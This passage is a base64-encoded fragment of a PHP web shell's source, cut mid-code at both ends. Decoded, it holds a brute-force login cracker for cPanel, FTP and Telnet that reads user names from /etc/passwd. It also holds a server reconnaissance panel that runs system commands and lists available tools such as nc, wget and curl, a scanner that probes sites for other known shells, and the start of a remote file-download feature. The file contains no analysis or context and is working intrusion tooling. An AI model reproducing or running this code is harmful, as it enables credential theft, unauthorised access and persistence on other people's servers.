c2V0b3B0KCRjaCwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQkFTSUMpOwogICAgY3VybF9z
ZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJQV0QsICIkdXNlcjokcGFzcyIpOwogICAgY3VybF9zZXRv
cHQgKCRjaCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgJHRpbWVvdXQpOwogICAgY3VybF9zZXRv
cHQoJGNoLCBDVVJMT1BUX0ZBSUxPTkVSUk9SLCAxKTsKICAgICRkYXRhID0gY3VybF9leGVjKCRj
aCk7CiAgICBpZiAoIGN1cmxfZXJybm8oJGNoKSA9PSAyOCApCiAgICB7CiAgICAgICAgcHJpbnQg
IjxiPjxmb250IGNvbG9yPW9yYW5nZT5FcnJvciA6PC9mb250PiA8Zm9udCBjb2xvcj1yZWQ+Q29u
bmVjdGlvbiBUaW1lb3V0LiBQbGVhc2UgQ2hlY2sgVGhlIFRhcmdldCBIb3N0bmFtZSAuPC9mb250
PjwvYj4iOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBlbHNlIGlmIChjdXJsX2Vycm5vKCRjaCkg
PT0gMCApCiAgICB7CiAgICAgICAgcHJpbnQgIjxiPjxmb250IGZhY2U9XCJUYWhvbWFcIiBzdHls
ZT1cImZvbnQtc2l6ZTogOXB0XCIgY29sb3I9XCJvcmFuZ2VcIj5bfl08L2ZvbnQ+PC9iPjxmb250
IGZhY2U9XCJUYWhvbWFcIiAgIHN0eWxlPVwiZm9udC1zaXplOiA5cHRcIj48Yj48Zm9udCBjb2xv
cj1cImdyZWVuXCI+CiAgICAgICAgQ3JhY2tpbmcgU3VjY2VzcyBXaXRoIFVzZXJuYW1lICZxdW90
OzwvZm9udD48Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj4kdXNlcjwvZm9udD48Zm9udCBjb2xvcj1c
IiMwMDgwMDBcIj5cIiBhbmQgUGFzc3dvcmQgXCI8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjRkYwMDAw
XCI+JHBhc3M8L2ZvbnQ+PGZvbnQgY29sb3I9XCIjMDA4MDAwXCI+XCI8L2ZvbnQ+PC9iPjxicj48
YnI+IjsKICAgIH0KICAgIGN1cmxfY2xvc2UoJGNoKTsKfQoKZnVuY3Rpb24gY3BhbmVsX2NyYWNr
KCkKewogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICBnbG9iYWwgJG9zOwogICAgZWNobyAiPGRp
diBpZD1yZXN1bHQ+IjsKICAgICRjcGFuZWxfcG9ydD0iMjA4MiI7CgkJJGNvbm5lY3RfdGltZW91
dD01OwoJCWlmKCFpc3NldCgkX1BPU1RbJ3VzZXJuYW1lJ10pICYmICFpc3NldCgkX1BPU1RbJ3Bh
c3N3b3JkJ10pICYmICFpc3NldCgkX1BPU1RbJ3RhcmdldCddKSAmJiAhaXNzZXQoJF9QT1NUWydj
cmFja3R5cGUnXSkpCgkJewoJCT8+CgkJPGNlbnRlcj4KCQk8Zm9ybSBtZXRob2Q9cG9zdD4KCQk8
dGFibGUgY2xhc3M9dGJsPgoJCQk8dHI+CgkJCQk8dGQgYWxpZ249Y2VudGVyIGNvbHNwYW49Mj5U
YXJnZXQgOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9InNlcnZlciIgdmFsdWU9ImxvY2FsaG9zdCIg
Y2xhc3M9c2JveD48L3RkPgoJCQk8L3RyPgoJCQk8dHI+CgkJCQk8dGQgYWxpZ249Y2VudGVyPlVz
ZXIgbmFtZXM8L3RkPjx0ZCBhbGlnbj1jZW50ZXI+UGFzc3dvcmQ8L3RkPgoJCQk8L3RyPgoJCQk8
dHI+CgkJCQk8dGQgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY2xh
c3M9dGV4dGFyZWFfZWRpdCBuYW1lPXVzZXJuYW1lIHJvd3M9MjUgY29scz0zNSBjbGFzcz1ib3g+
PD9waHAgCgkJCQlpZigkb3MgIT0gIndpbiIpCgkJCQl7CgkJCQkJaWYoQGZpbGUoJy9ldGMvcGFz
c3dkJykpCgkJCQkJewoJCQkJCQkkdXNlcnMgPSBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQkJCQlm
b3JlYWNoKCR1c2VycyBhcyAkdXNlcikgCgkJCQkJCXsKCQkJCQkJCSR1c2VyID0gZXhwbG9kZSgn
OicsICR1c2VyKTsKCQkJCQkJCWVjaG8gJHVzZXJbMF0gLiAiXG4iOwoJCQkJCQl9CgkJCQkJfQoJ
CQkJCWVsc2UKCQkJCQl7CgkJCQkJCSR0ZW1wID0gIiI7CgkJCQkJCSR2YWwxID0gMDsKCQkJCQkJ
JHZhbDIgPSAxMDAwOwoJCQkJCQlmb3IoOyR2YWwxIDw9ICR2YWwyOyR2YWwxKyspIAoJCQkJCQl7
CgkJCQkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCR2YWwxKTsKCQkJCQkJCWlmICgkdWlkKQoJ
CQkJCQkJCSAkdGVtcCAuPSBqb2luKCc6JywkdWlkKS4iXG4iOwoJCQkJCQkgfQoJCQkJCQkKCQkJ
CQkJICR0ZW1wID0gdHJpbSgkdGVtcCk7CgkJCQkJCQkgCgkJCQkJCSBpZigkZmlsZTUgPSBmb3Bl
bigidGVzdC50eHQiLCJ3IikpCgkJCQkJCSB7CgkJCQkJCQlmcHV0cygkZmlsZTUsJHRlbXApOwoJ
CQkJCQkJIGZjbG9zZSgkZmlsZTUpOwoJCQkJCQkJIAoJCQkJCQkJICRmaWxlID0gZm9wZW4oInRl
c3QudHh0IiwgInIiKTsKCQkJCQkJCSB3aGlsZSghZmVvZigkZmlsZSkpCgkJCQkJCQkgewoJCQkJ
CQkJIAkkcyA9IGZnZXRzKCRmaWxlKTsKCQkJCQkJCQkkbWF0Y2hlcyA9IGFycmF5KCk7CgkJCQkJ
CQkJJHQgPSBwcmVnX21hdGNoKCcvXC8oLio/KVw6XC8vcycsICRzLCAkbWF0Y2hlcyk7CgkJCQkJ
CQkJJG1hdGNoZXMgPSBzdHJfcmVwbGFjZSgiaG9tZS8iLCIiLCRtYXRjaGVzWzFdKTsKCQkJCQkJ
CQlpZihzdHJsZW4oJG1hdGNoZXMpID4gMTIgfHwgc3RybGVuKCRtYXRjaGVzKSA9PSAwIHx8ICRt
YXRjaGVzID09ICJiaW4iIHx8ICRtYXRjaGVzID09ICJldGMvWDExL2ZzIiB8fCAkbWF0Y2hlcyA9
PSAidmFyL2xpYi9uZnMiIHx8ICRtYXRjaGVzID09ICJ2YXIvYXJwd2F0Y2giIHx8ICRtYXRjaGVz
ID09ICJ2YXIvZ29waGVyIiB8fCAkbWF0Y2hlcyA9PSAic2JpbiIgfHwgJG1hdGNoZXMgPT0gInZh
ci9hZG0iIHx8ICRtYXRjaGVzID09ICJ1c3IvZ2FtZXMiIHx8ICRtYXRjaGVzID09ICJ2YXIvZnRw
IiB8fCAkbWF0Y2hlcyA9PSAiZXRjL250cCIgfHwgJG1hdGNoZXMgPT0gInZhci93d3ciIHx8ICRt
YXRjaGVzID09ICJ2YXIvbmFtZWQiKQoJCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCQllY2hvICRt
YXRjaGVzOwoJCQkJCQkJfQoJCQkJCQkJZmNsb3NlKCRmaWxlKTsKCQkJCQkJfQoJCQkJCX0KCQkJ
CX0KCQkJCSA/PjwvdGV4dGFyZWE+PC90ZD48dGQgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBzcGVs
bGNoZWNrPSdmYWxzZScgY2xhc3M9dGV4dGFyZWFfZWRpdCBuYW1lPXBhc3N3b3JkIHJvd3M9MjUg
Y29scz0zNSBjbGFzcz1ib3g+PC90ZXh0YXJlYT48L3RkPgoJCQk8L3RyPgoJCQk8dHI+CgkJCQk8
dGQgYWxpZ249Y2VudGVyIGNvbHNwYW49Mj5HdWVzcyBvcHRpb25zIDogPGxhYmVsPjxpbnB1dCBu
YW1lPSJjcmFja3R5cGUiIHR5cGU9InJhZGlvIiB2YWx1ZT0iY3BhbmVsIiBjaGVja2VkPiBDcGFu
ZWwoMjA4Mik8L2xhYmVsPjxsYWJlbD48aW5wdXQgbmFtZT0iY3JhY2t0eXBlIiB0eXBlPSJyYWRp
byIgdmFsdWU9ImZ0cCI+IEZ0cCgyMSk8L2xhYmVsPjxsYWJlbD48aW5wdXQgbmFtZT0iY3JhY2t0
eXBlIiB0eXBlPSJyYWRpbyIgdmFsdWU9InRlbG5ldCI+IFRlbG5ldCgyMyk8L2xhYmVsPjwvdGQ+
CgkJCTwvdHI+CgkJCTx0cj4KCQkJCTx0ZCBhbGlnbj1jZW50ZXIgY29sc3Bhbj0yPlRpbWVvdXQg
ZGVsYXkgOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVsYXkiIHZhbHVlPTUgY2xhc3M9c2Jv
eD48L3RkPgoJCQk8L3RyPgoJCQk8dHI+CgkJCQk8dGQgYWxpZ249Y2VudGVyIGNvbHNwYW49Mj48
aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iICAgR28gICAgIiBjbGFzcz1idXQ+PC90ZD4KCQkJ
PC90cj4KCQk8L3RhYmxlPgoJCTwvZm9ybT4KCQk8L2NlbnRlcj4KCQk8P3BocAoJCX0KCQllbHNl
CgkJewoJCQlpZihlbXB0eSgkX1BPU1RbJ3VzZXJuYW1lJ10pIHx8IGVtcHR5KCRfUE9TVFsncGFz
c3dvcmQnXSkpCgkJCQllY2hvICI8Y2VudGVyPlBsZWFzZSBFbnRlciBUaGUgVXNlcnMgb3IgUGFz
c3dvcmQgTGlzdDwvY2VudGVyPiI7CgkJCWVsc2UKCQkJewoJCQkJJHVzZXJsaXN0PWV4cGxvZGUo
IlxuIiwkX1BPU1RbJ3VzZXJuYW1lJ10pOwoJCQkJJHBhc3NsaXN0PWV4cGxvZGUoIlxuIiwkX1BP
U1RbJ3Bhc3N3b3JkJ10pOwoJCgkJCQlpZigkX1BPU1RbJ2NyYWNrdHlwZSddID09ICJmdHAiKQoJ
CQkJewoJCQkJCWZvcmVhY2ggKCR1c2VybGlzdCBhcyAkdXNlcikKCQkJCQl7CgkJCQkJCSRwdXJl
dXNlciA9IHRyaW0oJHVzZXIpOwoJCQkJCQlmb3JlYWNoICgkcGFzc2xpc3QgYXMgJHBhc3N3b3Jk
ICkKCQkJCQkJewoJCQkJCQkJJHB1cmVwYXNzID0gdHJpbSgkcGFzc3dvcmQpOwoJCQkJCQkJZnRw
X2NoZWNrKCRfUE9TVFsndGFyZ2V0J10sJHB1cmV1c2VyLCRwdXJlcGFzcywkY29ubmVjdF90aW1l
b3V0KTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWlmICgkX1BPU1RbJ2NyYWNrdHlwZSddID09
ICJjcGFuZWwiIHx8ICRfUE9TVFsnY3JhY2t0eXBlJ10gPT0gInRlbG5ldCIpCgkJCQl7CgkJCQkJ
aWYoJGNyYWNrdHlwZSA9PSAidGVsbmV0IikKCQkJCQl7CgkJCQkJCSRjcGFuZWxfcG9ydD0iMjMi
OwoJCQkJCX0KCQkJCQllbHNlCgkJCQkJCSRjcGFuZWxfcG9ydD0iMjA4MiI7CgkJCQkJZm9yZWFj
aCAoJHVzZXJsaXN0IGFzICR1c2VyKQoJCQkJCXsKCQkJCQkJJHB1cmV1c2VyID0gdHJpbSgkdXNl
cik7CgkJCQkJCWVjaG8gIjxiPjxmb250IGZhY2U9VGFob21hIHN0eWxlPVwiZm9udC1zaXplOiA5
cHRcIiBjb2xvcj0jMDA4MDAwPiBbIC0gXSA8L2ZvbnQ+PGZvbnQgZmFjZT1UYWhvbWEgc3R5bGU9
XCJmb250LXNpemU6IDlwdFwiIGNvbG9yPSNGRjA4MDA+CgkJCQkJCVByb2Nlc3NpbmcgdXNlciAk
cHVyZXVzZXIgLi4uPC9mb250PjwvYj48YnI+PGJyPiI7CgkJCQkJCWZvcmVhY2ggKCRwYXNzbGlz
dCBhcyAkcGFzc3dvcmQgKQoJCQkJCQl7CgkJCQkJCQkkcHVyZXBhc3MgPSB0cmltKCRwYXNzd29y
ZCk7CgkJCQkJCQljcGFuZWxfY2hlY2soJF9QT1NUWyd0YXJnZXQnXSwkcHVyZXVzZXIsJHB1cmVw
YXNzLCRjb25uZWN0X3RpbWVvdXQpOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCQl9CgkJfQogICAg
ICAgICAgICAgICAgCiAgICBlY2hvICI8L2Rpdj4iOwp9CgpmdW5jdGlvbiBnZXRfdXNlcnMoKQp7
CiAgICAkdXNlcnogPSBhcnJheSgpOwogICAgJHVzZXIgPSBmaWxlKCIvZXRjL3Bhc3N3ZCIpOwog
ICAgZm9yZWFjaCgkdXNlciBhcyAkdXNlcng9PiR1c2Vyc3opCiAgICB7CiAgICAgICAgICAgICR1
c2VyY3QgPSBleHBsb2RlKCI6IiwkdXNlcnN6KTsKICAgICAgICAgICAgYXJyYXlfcHVzaCgkdXNl
cnosJHVzZXJjdFswXSk7CiAgICB9CiAgICBpZighJHVzZXIpCiAgICB7CiAgICAgICAgaWYoJG9w
ZCA9IG9wZW5kaXIoIi9ob21lLyIpKQogICAgICAgIHsKICAgICAgICAgICAgd2hpbGUoKCRmaWxl
ID0gcmVhZGRpcigkb3BkKSkhPT0gZmFsc2UpCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAg
IGFycmF5X3B1c2goJHVzZXJ6LCRmaWxlKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAg
ICBjbG9zZWRpcigkb3BkKTsKICAgIH0KICAgICR1c2Vyej1pbXBsb2RlKCcsICcsJHVzZXJ6KTsK
ICAgIHJldHVybiAkdXNlcno7Cn0KCmZ1bmN0aW9uIGV4cGxvaXRfZGV0YWlscygpCnsKICAgIGds
b2JhbCAkb3M7CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdCBzdHlsZT0nY29sb3I6Z3JlZW47Jz48
Y2VudGVyPgogICAgPGgyPkV4cGxvaXQgU2VydmVyIERldGFpbHM8L2gyPjxociAvPjxiciAvPjxi
ciAvPjx0YWJsZSBjbGFzcz10YWJsZSBzdHlsZT0nY29sb3I6Z3JlZW47dGV4dC1hbGlnbjpjZW50
ZXInPjx0cj48dGQ+CiAgICBPUzogPGEgc3R5bGU9J2NvbG9yOjcxNzFDNjt0ZXh0LWRlY29yYXRp
b246bm9uZTsnIHRhcmdldD1fYmxhbmsgaHJlZj0naHR0cDovL3d3dy5leHBsb2l0LWRiLmNvbS9z
ZWFyY2gvP2FjdGlvbj1zZWFyY2gmZmlsdGVyX3BhZ2U9MSZmaWx0ZXJfZGVzY3JpcHRpb249Ii5w
aHBfdW5hbWUocykuIic+Ii5waHBfdW5hbWUocykuIjwvdGQ+PC90cj4KICAgIDx0cj48dGQ+UEhQ
IFZlcnNpb24gOiA8YSBzdHlsZT0nY29sb3I6NzE3MUM2O3RleHQtZGVjb3JhdGlvbjpub25lOycg
dGFyZ2V0PV9ibGFuayBocmVmPSc/cGhwaW5mbyc+Ii5waHB2ZXJzaW9uKCkuIi48L3RkPjwvdHI+
CiAgICA8dHI+PHRkPktlcm5lbCBSZWxlYXNlIDogPGZvbnQgY29sb3I9NzE3MUM2PiIucGhwX3Vu
YW1lKHIpLiI8L2ZvbnQ+PC90ZD48L3RyPgogICAgPHRyPjx0ZD5LZXJuZWwgVmVyc2lvbiA6IDxm
b250IGNvbG9yPTcxNzFDNj4iLnBocF91bmFtZSh2KS4iPC9mb250PjwvdGQ+PC90ZD4KICAgIDx0
cj48dGQ+TWFjaGluZSA6IDxmb250IGNvbG9yPTcxNzFDNj4iLnBocF91bmFtZShtKS4iPC9mb250
PjwvdGQ8L3RyPgogICAgPHRyPjx0ZD5TZXJ2ZXIgU29mdHdhcmUgOiA8Zm9udCBjb2xvcj03MTcx
QzY+Ii4kX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ10uIjwvZm9udD48L3RkPC90cj48dHI+IjsK
ICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnYXBhY2hlX2dldF9tb2R1bGVzJykpCiAgICB7CgllY2hv
ICI8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQ7Jz5Mb2FkZWQgQXBhY2hlIG1vZHVsZXMg
OiA8YnIgLz48YnIgLz48Zm9udCBjb2xvcj03MTcxQzY+IjsKICAgICAgICBlY2hvIGltcGxvZGUo
JywgJywgYXBhY2hlX2dldF9tb2R1bGVzKCkpOwogICAgICAgIGVjaG8gIjwvZm9udD48L3RyPjwv
dGQ+IjsKICAgIH0KICAgIGlmKCRvcz09J3dpbicpCiAgICB7CiAgICAgICAgZWNobyAgIjx0cj48
dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdDsnPkFjY291bnQgU2V0dGluZyA6IDxmb250IGNvbG9y
PTcxNzFDNj48cHJlPiIuY21kKCduZXQgYWNjb3VudHMnKS4iPC9wcmU+PC90ZD48L3RyPgogICAg
ICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPlVzZXIgQWNjb3VudHMg
OiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLmNtZCgnbmV0IHVzZXInKS4iPC9wcmU+PC90ZD48
L3RyPgogICAgICAgICAgICAgICAiOwogICAgfQogICAgaWYoJG9zPT0nbml4JykKICAgIHsKICAg
ICAgICBlY2hvICI8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPkRpc3RybyA6IDxmb250
IGNvbG9yPTcxNzFDNj48cHJlPiIuY21kKCdjYXQgL2V0Yy8qLXJlbGVhc2UnKS4iPC9wcmU+PC9m
b250PjwvdGQ+PC90cj4KICAgICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxl
ZnQnPkRpc3RyIG5hbWUgOiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLmNtZCgnY2F0IC9ldGMv
aXNzdWUubmV0JykuIjwvcHJlPjwvZm9udD48L3RkPjwvdHI+CiAgICAgICAgICAgICAgPHRyPjx0
ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz5HQ0MgOiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4i
LmNtZCgnd2hlcmVpcyBnY2MnKS4iPC9wcmU+PC90ZD48L3RyPgogICAgICAgICAgICAgIDx0cj48
dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+UEVSTCA6IDxmb250IGNvbG9yPTcxNzFDNj48cHJl
PiIuY21kKCd3aGVyZWlzIHBlcmwnKS4iPC9wcmU+PC90ZD48L3RyPgogICAgICAgICAgICAgIDx0
cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+UFlUSE9OIDogPGZvbnQgY29sb3I9NzE3MUM2
PjxwcmU+Ii5jbWQoJ3doZXJlaXMgcHl0aG9uJykuIjwvcHJlPjwvdGQ+PC90cj4KICAgICAgICAg
ICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPkpBVkEgOiA8Zm9udCBjb2xvcj03
MTcxQzY+PHByZT4iLmNtZCgnd2hlcmVpcyBqYXZhJykuIjwvcHJlPjwvdGQ+PC90cj4KICAgICAg
ICAgICAgICA8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQnPkFQQUNIRSA6IDxmb250IGNv
bG9yPTcxNzFDNj48cHJlPiIuY21kKCd3aGVyZWlzIGFwYWNoZScpLiI8L3ByZT48L3RkPjwvdHI+
CiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Oyc+Q1BVIDogPGJy
IC8+PGJyIC8+PHByZT48Zm9udCBjb2xvcj03MTcxQzY+Ii5jbWQoJ2NhdCAvcHJvYy9jcHVpbmZv
JykuIjwvZm9udD48L3ByZT48L3RkPjwvdHI+CiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0n
dGV4dC1hbGlnbjpsZWZ0Jz5SQU0gOiA8Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLmNtZCgnZnJl
ZSAtbScpLiI8L3ByZT48L3RkPjwvdHI+CiAgICAgICAgICAgICAgPHRyPjx0ZCBzdHlsZT0ndGV4
dC1hbGlnbjpsZWZ0Jz4gVXNlciBMaW1pdHMgOiA8YnIgLz48YnIgLz48Zm9udCBjb2xvcj03MTcx
QzY+PHByZT4iLmNtZCgndWxpbWl0IC1hJykuIjwvcHJlPjwvdGQ+PC90cj4iOwogICAgICAgICAg
ICAgICR1c2VmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdw
ZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xv
Y2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgICAgICAgJHV6ZT1hcnJheSgpOwogICAgICAgICAg
ICAgIGZvcmVhY2goJHVzZWZ1bCBhcyAkdXplZnVsKQogICAgICAgICAgICAgIHsKICAgICAgICAg
ICAgICAgIGlmKGNtZCgid2hpY2ggJHV6ZWZ1bCIpKQogICAgICAgICAgICAgICAgewogICAgICAg
ICAgICAgICAgICAgICR1emVbXT0kdXplZnVsOwogICAgICAgICAgICAgICAgfQogICAgICAgICAg
ICAgIH0KICAgICAgICAgICAgICBlY2hvICI8dHI+PHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxlZnQn
PlVzZWZ1bCA6IDxiciAvPjxmb250IGNvbG9yPTcxNzFDNj48cHJlPiI7CiAgICAgICAgICAgICAg
ZWNobyBpbXBsb2RlKCcsICcsJHV6ZSk7CiAgICAgICAgICAgICAgZWNobyAiPC9wcmU+PC90ZD48
L3RyPiI7CiAgICAgICAgICAgICAgJGRvd25sb2FkZXJzID0gYXJyYXkoJ3dnZXQnLCdmZXRjaCcs
J2x5bngnLCdsaW5rcycsJ2N1cmwnLCdnZXQnLCdsd3AtbWlycm9yJyk7CiAgICAgICAgICAgICAg
JHV6ZT1hcnJheSgpOwogICAgICAgICAgICAgIGZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRkb3du
bG9hZGVyKQogICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGlmKGNtZCgid2hpY2ggJGRv
d25sb2FkZXIiKSkKICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAkdXplW109
JGRvd25sb2FkZXI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgfQogICAgICAgICAg
ICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+RG93bmxvYWRlcnMgOiA8
YnIgLz48Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iOwogICAgICAgICAgICAgIGVjaG8gaW1wbG9k
ZSgnLCAnLCR1emUpOwogICAgICAgICAgICAgIGVjaG8gIjwvcHJlPjwvdGQ+PC90cj4iOwogICAg
ICAgICAgICAgIGVjaG8gIjx0cj48dGQgc3R5bGU9J3RleHQtYWxpZ246bGVmdCc+VXNlcnMgOiA8
YnIgLz48Zm9udCBjb2xvcj03MTcxQzY+PHByZT4iLndvcmR3cmFwKGdldF91c2VycygpKS4iPC9w
cmU8L2ZvbnQ+PjwvdGQ+PC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+PHRkIHN0eWxlPSd0
ZXh0LWFsaWduOmxlZnQnPkhvc3RzIDogPGJyIC8+PGZvbnQgY29sb3I9NzE3MUM2PjxwcmU+Ii5j
bWQoJ2NhdCAvZXRjL2hvc3RzJykuIjwvcHJlPjwvZm9udD48L3RkPjwvdHI+IjsKICAgIH0KICAg
IGVjaG8gIjwvdGFibGU+PGJyIC8+PGJyIC8+PGhyIC8+PGJyIC8+PGJyIC8+IjsKfQoKZnVuY3Rp
b24gcmVtb3RlX2ZpbGVfY2hlY2tfdWkoKQp7CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2Vu
dGVyPjxoMj5SZW1vdGUgRmlsZSBDaGVjazwvaDI+PGhyIC8+PGJyIC8+PGJyIC8+CiAgICAgICAg
ICA8dGFibGUgY2xhc3M9dGJsPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRyPjx0ZD5VUkwgOiA8aW5w
dXQgc2l6ZT01MCBuYW1lPSdyZW1fd2ViJyB2YWx1ZT0naHR0cDovL3d3dy5haml0aGtwNTYwLmhv
c3RlaS5jb20vcGhwLyc+PC90ZD48L3RyPgogICAgICAgICAgPHRyPjx0ZD48Zm9udCBjb2xvcj1y
ZWQ+SW5wdXQgRmlsZSdzIE5hbWVzIGluIFRleHRBcmVhPC9mb250PjwvdHI+PC90ZD48dHI+PHRk
Pjx0ZXh0YXJlYSBzcGVsbGNoZWNrPSdmYWxzZScgY2xhc3M9J3RleHRhcmVhX2VkaXQnIGNvbHM9
NTAgcm93cz0zMCBuYW1lPSd0cnl6enonPmluZHJhaml0aC5waHAKYWppdGhrcDU2MC5waHAKaW5k
ZXguaHRtbApwcm9maWxlLnBocApjOTkucGhwCnI1Ny5waHA8L3RleHRhcmVhPjwvdGQ+PC90cj4K
ICAgICAgICAgPHRyPjx0ZD48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICAgPj4g
ICAnIGNsYXNzPSdpbnB1dF9iaWcnIC8+PGJyIC8+PGJyIC8+PC90ZD48L3RyPjwvZm9ybT48L3Rh
YmxlPjxiciAvPjxiciAvPjxociAvPjxiciAvPjxiciAvPiI7Cn0KCmZ1bmN0aW9uIHJlbW90ZV9m
aWxlX2NoZWNrX2JnKCkKewogICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICAkcnRyPWFycmF5KCk7
CiAgICBlY2hvICI8ZGl2IGlkPXJlc3VsdD48Y2VudGVyPjxoMj5TY2FubmVyIFJlcG9ydDwvaDI+
PGhyIC8+PGJyIC8+PGJyIC8+PHRhYmxlIGNsYXNzPXRibD4iOwogICAgJHdlYno9JF9QT1NUWydy
ZW1fd2ViJ107CiAgICAkdXJpX2luPSRfUE9TVFsndHJ5enp6J107CiAgICAkcl94dXJpID0gdHJp
bSgkdXJpX2luKTsKICAgICRyX3h1cmk9ZXhwbG9kZSgiXG4iLCAkcl94dXJpKTsKICAgIGZvcmVh
Y2goJHJfeHVyaSBhcyAkcnR5KQogICAgewogICAgICAgICR1cmx6eng9JHdlYnouJHJ0eTsKICAg
ICAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpKQogICAgICAgIHsKICAgICAgICAg
ICAgZWNobyAiPHRyPjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1vcmFu
Z2U+Q2hlY2tpbmcgOiA8L2ZvbnQ+IDxmb250IGNvbG9yPTcxNzFDNj4gJHVybHp6eCA8L2ZvbnQ+
PC90ZD4iOwogICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJHVybHp6eCk7CiAgICAgICAgICAg
IGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9OT0JPRFksIHRydWUpOwogICAgICAgICAgICBjdXJs
X2V4ZWMoJGNoKTsKICAgICAgICAgICAgJHN0YXR1c19jb2RlPWN1cmxfZ2V0aW5mbygkY2gsIENV
UkxJTkZPX0hUVFBfQ09ERSk7CiAgICAgICAgICAgIGN1cmxfY2xvc2UoJGNoKTsKICAgICAgICAg
ICAgaWYoJHN0YXR1c19jb2RlPT0yMDApCiAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgIGVj
aG8gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpsZWZ0Jz48Zm9udCBjb2xvcj1ncmVlbj4gRm91bmQu
Li4uPC9mb250PjwvdGQ+PC90cj4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVsc2UKICAg
ICAgICAgICAgewogICAgICAgICAgICAgICAgZWNobyAiPHRkIHN0eWxlPSd0ZXh0LWFsaWduOmxl
ZnQnPjxmb250IGNvbG9yPXJlZD5Ob3QgRm91bmQuLi48L2ZvbnQ+PC90ZD48L3RyPiI7CiAgICAg
ICAgICAgIH0KICAgICAgICB9CiAgICAgICAgZWxzZQogICAgICAgIHsKICAgICAgICAgICAgZWNo
byAiPGZvbnQgY29sb3I9cmVkPmNVUkwgTm90IEZvdW5kIDwvZm9udD4iOwogICAgICAgICAgICBi
cmVhazsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8L3RhYmxlPjxiciAvPjxiciAvPjxociAv
PjxiciAvPjxiciAvPjwvZGl2PiI7Cn0KCmZ1bmN0aW9uIHJlbW90ZV9kb3dubG9hZF91aSgpCnsK
ICAgIGVjaG8gIjxkaXYgaWQ9cmVzdWx0PjxjZW50ZXI+PGgyPlJlbW90ZSBGaWxlIERvd25sb2Fk
PC9oMj48aHIgLz48YnIgLz48YnIgLz48dGFibGUgY2xhc3M9dGJsPjxmb3JtIG1ldGhvZD0nR0VU
Jz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ncGF0aCcgdmFsdWU9Ii5nZXRjd2QoKS4iPjx0cj48
dGQ+PHNlbGVjdCBzdHlsZT0nY29sb3I6Z3JlZW47IGJhY2tncm91bmQtY29sb3I6YmxhY2s7IGJv
cmRlcjoxcHggc29saWQgIzY2NjsnIG5hbWU9J3R5cGVfcl9kb3duJz48b3B0aW9uPldHRVQ8L29w
dGlvbj48b3B0aW9uPmNVUkw8L29wdGlvbj48L3NlbGVjdD48L3RkPjwvdHI+CiAgICA8dHI+PHRk
